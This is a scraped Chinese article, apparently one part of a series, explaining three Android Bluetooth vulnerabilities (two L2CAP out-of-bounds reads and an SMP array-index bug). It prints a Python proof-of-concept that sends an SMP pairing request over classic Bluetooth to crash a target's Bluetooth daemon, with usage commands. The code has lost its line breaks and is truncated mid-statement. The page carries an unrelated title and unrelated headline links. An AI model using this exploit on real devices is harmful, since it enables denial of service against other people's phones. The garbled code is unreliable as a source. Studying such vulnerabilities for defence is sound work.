烟草味道|快速理解Android中的三个蓝牙漏洞( 五 )
总结来说 , 过程如下图所示:
文中提及的函数调用关系:
【箭头指向表示调用该函数】
理论上讲 , 如果能够找到了一个版本的bluetooth.default.so , 取消引用entry_table [event-1] [curr_state] , 那么程序就不会崩溃 , 可以进一步解决此错误 。
Proof-of-Concept(概念验证)以下Python代码触发了该漏洞 , 并且很有可能使目标设备上的com.android.bluetooth守护程序崩溃 。
此Python代码使用Blueborne框架中的l2cap_infra包 。
用法: $ sudo python smp01.py。
例如:$ sudo python smp01.py hci0 00:11:22:33:44:55 。
import osimport sysfrom l2cap_infra import *L2CAP_SMP_CID = 0x06# This matches the CID used in l2cap_infra to establish a successful connection.OUR_LOCAL_SCID = 0x40SMP_OPCODE_PAIRING_REQ = 0x01def main(src_hci, dst_bdaddr):l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)print "Sending SMP_OPCODE_PAIRING_REQ in L2CAP connection..."cmd_code = SMP_OPCODE_PAIRING_REQthe_id = 0x41# not importantcmd_len = 0x08flags = 0x4142# not important# here we use L2CAP_SMP_CID as cidl2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SMP_CID) / Raw(struct.pack('")else:if os.getuid():print "Error: This script must be run as root."else:main(*sys.argv[1:])结论漏洞2和漏洞1思想本质上是一致的 。
- 相同点:都因为STREAM_TO_UINT16宏没有对读入数据进行检验 , 是否到达数据包中还有足够的数据 , 导致越界读取 , 最后泄漏内存数据 。
- 不同点:在绕过前面判断后 到达的泄漏函数 , 漏洞1只向远程对等方法送了第二个从数据包那块读入的uint16_t数据;而漏洞2则向远程对等放发送了两个从数据包那块读入的uint16_t的数据 , 所以漏洞1可以泄漏2两个字节 , 漏洞2可以泄漏4个字节
第三个漏洞是SMP协议实现中的越界数组索引错误 , 尽管最有可能使com.android.bluetooth进程崩溃 , 但仍有可能利用它在易受攻击的Android设备上远程执行代码 。 有趣的是 , 与两个L2CAP问题不同 , 此SMP错误并不是解析格式错误的数据包的结果 。 实际上 , 可以通过发送格式正确的SMP数据包(包含SMP_OPCODE_PAIRING_REQ)来触发它 , 但是要是通过BR / EDR(“经典”蓝牙)传输而不是预期的BLE(低能耗)传输来触发 。
总的来说 , 虽然是两类漏洞 , 但是问题起因都在于代码上的检验不够完整导致的 , 使得程序执行到了非预期的情况 。
参考:
本文由言承原创发布 转载 , 请参考转载声明 , 注明出处:
推荐阅读
- 上海市嘉定区人民政府网站|【走向我们的小康生活】日揽300件的“快递一哥”,为了快速送货,他手绘了一张地图
- 上海嘉定|嘉定这8个受理点和受理中心,可申请居住证快速办理(附问答)
- 小郑杰西卡|上演快速瘦身大法,服了,22岁“北境女王”索菲产女后首次亮相
- 烹饪|泡发香菇时加一勺它,泡发的香菇味道更鲜,3分钟香菇全部泡发
- 关节骨头|上班久坐,休息刷手机,不小心含胸驼背,怎样快速唤醒挺拔身姿?
- 综艺节目|严敏新综艺开播,还是那个熟悉的味道,《极限挑战》真的不该放他
- 美军|美媒:中国空军快速发展,五角大楼称美军面临巨大“威胁”
- 环球时评|香港一巴士司机快速行驶贴近执勤警员被截停,因危险驾驶罪被捕
- 青岛警方通报!东西快速路抢道引冲突,出租车司机捅伤网约车司机逃离
- 广东省烟草局局长刘依平表示将安全工作尽在掌握中,推动安全生产管理 - 向“大安全”迈进
